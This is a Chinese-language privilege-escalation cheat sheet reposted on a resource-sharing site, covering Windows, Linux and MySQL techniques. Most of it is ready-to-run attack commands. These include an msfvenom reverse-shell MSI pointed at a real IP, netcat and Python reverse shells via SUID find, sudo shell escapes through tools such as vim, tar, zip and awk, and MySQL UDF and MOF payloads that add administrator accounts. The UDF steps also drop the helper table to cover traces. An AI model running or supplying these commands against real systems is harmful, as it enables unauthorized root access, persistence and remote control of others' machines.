信息搜集

systeminfo | findstr /L /C:OS /C:KB
hostname //主机名
echo %username% //当前用户
net user //所有用户
sc qc Everything //查看服务权限

Windows

溢出提权

WMIC命令

wmic qfe list //查看计算机补丁安装情况
wmic product get name,version //查看是否是虚拟机
wmic cpu get addresswidth //查看系统位数

Searchsploit、Metasploit查找exp

例如 MS15-051.exe "whoami"

无引号路径提权 Trusted Service Paths

利用服务启动时检索程序,如果路径有空格且没有引号闭合,会优先检索空格前的路径,比如C:\Program Files\Common Files\Everything\Everything.exe,会优先检索C盘下的Program,然后检索Program Files下的Common,所以可以利用这个特性劫持服务启动

查看有没有加引号的服务路径

vmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

加入恶意程序达到提权目的

icacls "C:\Program Files\"  //查看当前用户对该目录的权限 F为完全控制 M为修改权限

用工具(msf,cs等等)生成反弹shell程序上传到对应路径下

mis提权

AlwaysInstallElevated是注册表的一个键值(windows 2003),
当其值为1的时候,普通用户即可以system权限安装msi程序。
当前用户权限是否能够更改MSI安装时的启用状态,如不能修改则必须为启用方可使用本次提权技术。

gpedit.msc

用户配置>>管理模板>>Windows 组件>>Windows Installer>>始终以提升的权限进行安装 已启用

image-20220922214008957

.msi是系统安装文件

image-20220922214029315

启动状态才可以成功
判断是否存在window本地提权安全问题:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

生成利用的MSI文件:

msfvenom -p windows/meterpreter/reverse_tcp lhost=47.94.236.117  lport=5555 -f msi -o xiaodi.msi

执行MSI:

msiexec /quiet /qn /i xiaodi.msi

烂土豆提权

P0tato.exe -p whoami

计划任务提权

进程注入提权

Linux

SUID提权

?cmd=system("find test -exec whoami\;");

这里调用了find指令
而find指令所有者为root权限
导致exec后面的指令继承了权限.

手工命令探针安全:

find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -exec ls -ldb {}
find / -perm -u=s -type f 2>/dev/null

存在 Nmap/Vim/find/Bash/More/Less/Nano/cp之一,就有可能存在SUID提权

touch xiaodi

会创建一个xiaodi的目录
然后通过搜索xiaodi并携带命令达到system的权限执行命令

find xiaodi -exec whoami \;

利用NC反弹:

find xiaodi -exec netcat -lvp 5555 -e /bin/sh
netcat xx.xx.xx.xx 5555

利用Python反弹:

find xiaodi -exec python -c 
'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.236.117",7777));
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

nc -lvp 7777

SUDO提权

查询可用sudo命令

sudo -l

find

sudo find /bin/ -name ls -exec /bin/bash \;

git

sudo git -p help //强制进入交互状态,必须让页面缓冲区无法显示全部信息(放大字体/缩小显示区域即可)。
!/bin/bash 

su

sudo su - root

vim

sudo vim -c '!sh

nmap

echo "os.execute('/bin/sh')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

more

sudo more /etc/rsyslog.conf
!/bin/bash

zip

sudo zip /tmp/1.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

1.zip: 是随手添加进去的一个zip文件
-T : 表示测试1.zip的完整性
--unzip-command-T 一起使用,可以指定自定义命令用于解压1.zip

tar

sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

–checkpoint-action 选项是提权点,可以自定义需要执行的动作,指定为exec=/bin/bash,获取一个root权限的shell

strace

sudo strace -o/dev/null /bin/bash

strace: 以root权限运行跟踪调试/bin/bash, 从而获取root权限的shell

ftp

sudo ftp
ftp> !/bin/bash

passwd

sudo passwd
Enter new UNIX password: 
Retype new UNIX password: 

awk

sudo awk 'BEGIN {system("/bin/bash")}'

计划任务提权

数据库提权

MySQL

UDF提权

1、将udf文件放到指定位置
2、从udf文件中引入自定义函数
3、执行自定义函数

将获得的udf.dll文件转换成16进制

SELECT hex(load_file(0x433a5c5c55736572735c5c6b61316e34745c5c4465736b746f705c5c6c69625f6d7973716c7564665f7379732e646c6c)) into dumpfile 'C:\\Users\\ka1n4t\\Desktop\\udf.txt';

load_file中的十六进制是'C:\\Users\\ka1n4t\\Desktop\\lib_mysqludf_sys.dll'

把本地的udf16进制形式上传webshell

1. CREATE TABLE udftmp (c blob); //新建一个表,名为udftmp,用于存放本地传来的udf文件的内容。
2. INSERT INTO udftmp values(unhex('udf文件的16进制格式')); //在udftmp中写入udf文件内容
3. SELECT c FROM udftmp INTO DUMPFILE 'H:\\PHPStudy\\PHPTutorial\\MySQL\\lib\\plugin\\udf.dll'; //将udf文件内容传入新建的udf文件中,路径根据自己的@@basedir修改
//对于mysql小于5.1的,导出目录为C:\Windows\或C:\Windows\System32\

为了删除痕迹,把刚刚新建的udftmp表删掉

DROP TABLE udftmp; 

导入udf函数

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; 

提权成功

SELECT sys_eval('ipconfig');

几个常用的cmd指令,用于添加一个管理员用户

net user ka1n4t ka1n4t~!@ /add //添加新用户:ka1n4t,密码为ka1n4t~!@
net localgroup administrators ka1n4t /add //将ka1n4t添加至管理员分组

MOF提权

“托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡.

mof文件代码如下所示

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

然后使用sql语句将系统当中默认的nullevt.mof给替换掉。进而让系统执行我们这个恶意的mof文件。
替换的sql语句:

select load_file('D:\wamp\xishaonian.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

原文地址:http://www.cnblogs.com/IceSeclude/p/16829443.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性